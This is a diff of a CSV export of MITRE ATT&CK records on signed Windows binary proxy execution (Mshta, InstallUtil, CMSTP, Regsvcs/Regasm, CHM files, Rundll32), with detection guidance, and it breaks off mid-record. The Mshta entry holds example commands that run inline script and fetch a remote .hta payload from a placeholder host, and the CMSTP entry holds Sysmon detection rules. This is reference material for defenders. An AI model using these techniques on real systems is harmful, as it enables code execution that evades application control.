Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) -Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8,attack-pattern,['defense-evasion'],2020-06-20T22:36:37.411Z,2020-01-23T19:42:16.439Z,Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.,"['Process: Process Creation', 'Command: Command Execution']",['Casey Smith'],"['Digital Certificate Validation', 'Application control']","['User', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.005', 'url': 'https://attack.mitre.org/techniques/T1218/005'}, {'source_name': 'Cylance Dust Storm', 'description': 'Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.', 'url': 'https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf'}, {'source_name': 'Red Canary HTA Abuse Part Deux', 'description': 'McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.', 'url': 'https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/'}, {'url': 'https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html', 'description': 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.', 'source_name': 'FireEye Attacks Leveraging HTA'}, {'description': 'Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.', 'source_name': 'Airbus Security Kovter Analysis', 'url': 'https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/'}, {'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'source_name': 'FireEye FIN7 April 2017'}, {'source_name': 'Wikipedia HTML Application', 'description': 'Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.', 'url': 'https://en.wikipedia.org/wiki/HTML_Application'}, {'source_name': 'MSDN HTML Applications', 'description': 'Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.', 'url': 'https://msdn.microsoft.com/library/ms536471.aspx'}, {'source_name': 'LOLBAS Mshta', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Mshta/', 'description': 'LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/005,mitre-attack,T1218.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Mshta,"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) +Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/009,mitre-attack,T1218.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Casey Smith'],"['Process: Process Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.,True,"['User', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/005', 'external_id': 'T1218.005'}, {'source_name': 'Cylance Dust Storm', 'description': 'Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.', 'url': 'https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf'}, {'source_name': 'Red Canary HTA Abuse Part Deux', 'description': 'McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.', 'url': 'https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/'}, {'source_name': 'FireEye Attacks Leveraging HTA', 'description': 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html'}, {'source_name': 'Airbus Security Kovter Analysis', 'description': 'Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.', 'url': 'https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/'}, {'source_name': 'FireEye FIN7 April 2017', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'}, {'source_name': 'Wikipedia HTML Application', 'description': 'Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.', 'url': 'https://en.wikipedia.org/wiki/HTML_Application'}, {'source_name': 'MSDN HTML Applications', 'description': 'Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.', 'url': 'https://msdn.microsoft.com/library/ms536471.aspx'}, {'source_name': 'LOLBAS Mshta', 'description': 'LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Mshta/'}]",1.1,attack-pattern,attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:32:49.557Z,2021-10-15T23:59:00.395Z,Mshta,"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) @@ -2239,46 +2450,50 @@ Files may be executed by mshta.exe through an inline script: mshta vbscrip They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta -Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade,attack-pattern,['defense-evasion'],2020-12-30T14:29:06.462Z,2020-01-23T19:32:49.557Z,"Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed. +Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/005,mitre-attack,T1218.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['@ionstorm', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank', 'Ricardo Dias']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Application control', 'Digital Certificate Validation']","Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed. -Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank', 'Ricardo Dias']","['Application control', 'Digital Certificate Validation']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.004', 'url': 'https://attack.mitre.org/techniques/T1218/004'}, {'source_name': 'MSDN InstallUtil', 'description': 'Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/50614e95.aspx'}, {'source_name': 'LOLBAS Installutil', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Installutil/', 'description': 'LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/004,mitre-attack,T1218.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,InstallUtil,"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. +Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/004', 'external_id': 'T1218.004'}, {'source_name': 'MSDN InstallUtil', 'description': 'Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/50614e95.aspx'}, {'source_name': 'LOLBAS Installutil', 'description': 'LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Installutil/'}]",1.0,attack-pattern,attack-pattern--2cd950a6-16c4-404a-aa01-044322395107,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:09:48.811Z,2020-06-20T22:34:46.529Z,InstallUtil,"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. -InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)",attack-pattern--2cd950a6-16c4-404a-aa01-044322395107,attack-pattern,['defense-evasion'],2020-06-20T22:34:46.529Z,2020-01-23T19:09:48.811Z,Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.,"['Process: Process Creation', 'Command: Command Execution']","['Travis Smith, Tripwire', 'Casey Smith']","['Digital Certificate Validation', 'Application control']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.001', 'url': 'https://attack.mitre.org/techniques/T1218/001'}, {'source_name': 'Microsoft HTML Help May 2018', 'description': 'Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk'}, {'source_name': 'Microsoft HTML Help ActiveX', 'description': 'Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.', 'url': 'https://msdn.microsoft.com/windows/desktop/ms644670'}, {'source_name': 'Microsoft HTML Help Executable Program', 'description': 'Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.', 'url': 'https://msdn.microsoft.com/windows/desktop/ms524405'}, {'source_name': 'MsitPros CHM Aug 2017', 'description': 'Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.', 'url': 'https://msitpros.com/?p=3909'}, {'source_name': 'Microsoft CVE-2017-8625 Aug 2017', 'description': 'Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.', 'url': 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/001,mitre-attack,T1218.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compiled HTML File,"Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) +InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/004,mitre-attack,T1218.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Casey Smith']","['Process: Process Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.,True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/001', 'external_id': 'T1218.001'}, {'source_name': 'Microsoft HTML Help May 2018', 'description': 'Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk'}, {'source_name': 'Microsoft HTML Help ActiveX', 'description': 'Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.', 'url': 'https://msdn.microsoft.com/windows/desktop/ms644670'}, {'source_name': 'Microsoft HTML Help Executable Program', 'description': 'Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.', 'url': 'https://msdn.microsoft.com/windows/desktop/ms524405'}, {'source_name': 'MsitPros CHM Aug 2017', 'description': 'Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.', 'url': 'https://msitpros.com/?p=3909'}, {'source_name': 'Microsoft CVE-2017-8625 Aug 2017', 'description': 'Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.', 'url': 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625'}]",1.0,attack-pattern,attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T18:53:54.377Z,2020-06-20T22:32:24.589Z,Compiled HTML File,"Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) -A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d,attack-pattern,['defense-evasion'],2020-06-20T22:32:24.589Z,2020-01-23T18:53:54.377Z,"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. +A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/001,mitre-attack,T1218.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']","Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. -Monitor presence and use of CHM files, especially if they are not typically used within an environment.","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution']","['Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International']","['Digital Certificate Validation', 'Application control']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.003', 'url': 'https://attack.mitre.org/techniques/T1218/003'}, {'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)', 'description': 'Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.', 'source_name': 'Microsoft Connection Manager Oct 2009'}, {'url': 'https://twitter.com/ItsReallyNick/status/958789644165894146', 'description': 'Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.', 'source_name': 'Twitter CMSTP Usage Jan 2018'}, {'url': 'https://msitpros.com/?p=3960', 'description': 'Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.', 'source_name': 'MSitPros CMSTP Aug 2017'}, {'url': 'https://twitter.com/NickTyrer/status/958450014111633408', 'description': 'Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.', 'source_name': 'Twitter CMSTP Jan 2018'}, {'url': 'https://github.com/api0cradle/UltimateAppLockerByPassList', 'description': 'Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.', 'source_name': 'GitHub Ultimate AppLocker Bypass List'}, {'url': 'http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/', 'description': 'Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.', 'source_name': 'Endurant CMSTP July 2018'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/003,mitre-attack,T1218.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,CMSTP,"Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. +Monitor presence and use of CHM files, especially if they are not typically used within an environment.",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/003', 'external_id': 'T1218.003'}, {'source_name': 'Microsoft Connection Manager Oct 2009', 'description': 'Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)'}, {'source_name': 'Twitter CMSTP Usage Jan 2018', 'description': 'Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.', 'url': 'https://twitter.com/ItsReallyNick/status/958789644165894146'}, {'source_name': 'MSitPros CMSTP Aug 2017', 'description': 'Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.', 'url': 'https://msitpros.com/?p=3960'}, {'source_name': 'Twitter CMSTP Jan 2018', 'description': 'Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.', 'url': 'https://twitter.com/NickTyrer/status/958450014111633408'}, {'source_name': 'GitHub Ultimate AppLocker Bypass List', 'description': 'Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.', 'url': 'https://github.com/api0cradle/UltimateAppLockerByPassList'}, {'source_name': 'Endurant CMSTP July 2018', 'description': 'Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.', 'url': 'http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/'}]",1.0,attack-pattern,attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T18:27:30.656Z,2020-06-20T22:34:03.247Z,CMSTP,"Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application. -CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49,attack-pattern,['defense-evasion'],2020-06-20T22:34:03.247Z,2020-01-23T18:27:30.656Z,"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. +CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/003,mitre-attack,T1218.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nik Seetharaman, Palantir', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank']","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Anti-virus', 'Application control']","Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. -* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Nik Seetharaman, Palantir', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank']","['Anti-virus', 'Application control']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.011', 'url': 'https://attack.mitre.org/techniques/T1218/011'}, {'source_name': 'Trend Micro CPL', 'description': 'Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', 'url': 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'}, {'source_name': 'This is Security Command Line Confusion', 'description': 'B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', 'url': 'https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/011,mitre-attack,T1218.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Rundll32,"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads. +* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/011', 'external_id': 'T1218.011'}, {'source_name': 'Trend Micro CPL', 'description': 'Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', 'url': 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'}, {'source_name': 'This is Security Command Line Confusion', 'description': 'B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', 'url': 'https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/'}, {'source_name': 'Attackify Rundll32.exe Obscurity', 'description': 'Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.', 'url': 'https://www.attackify.com/blog/rundll32_execution_order/'}, {'source_name': 'Github NoRunDll', 'description': 'gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.', 'url': 